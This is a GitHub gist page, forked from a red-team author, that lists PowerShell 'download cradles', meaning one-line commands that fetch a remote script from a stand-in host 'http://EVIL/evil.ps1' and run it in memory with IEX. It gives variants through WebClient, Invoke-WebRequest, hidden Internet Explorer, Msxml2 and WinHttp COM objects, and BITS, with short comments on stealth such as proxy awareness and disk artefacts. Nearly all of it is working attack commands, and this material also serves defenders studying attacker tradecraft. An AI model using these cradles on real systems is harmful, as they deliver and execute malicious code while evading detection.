Skip to content

Instantly share code, notes, and snippets.

@lowk3v
Forked from HarmJ0y/DownloadCradles.ps1
Created January 16, 2019 11:20
Show Gist options
  • Save lowk3v/d40ac331673679e35b0ef2ba2b17a7e9 to your computer and use it in GitHub Desktop.
Save lowk3v/d40ac331673679e35b0ef2ba2b17a7e9 to your computer and use it in GitHub Desktop.
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# WinHttp COM object (not proxy aware!)
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# using bitstransfer- touches disk!
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment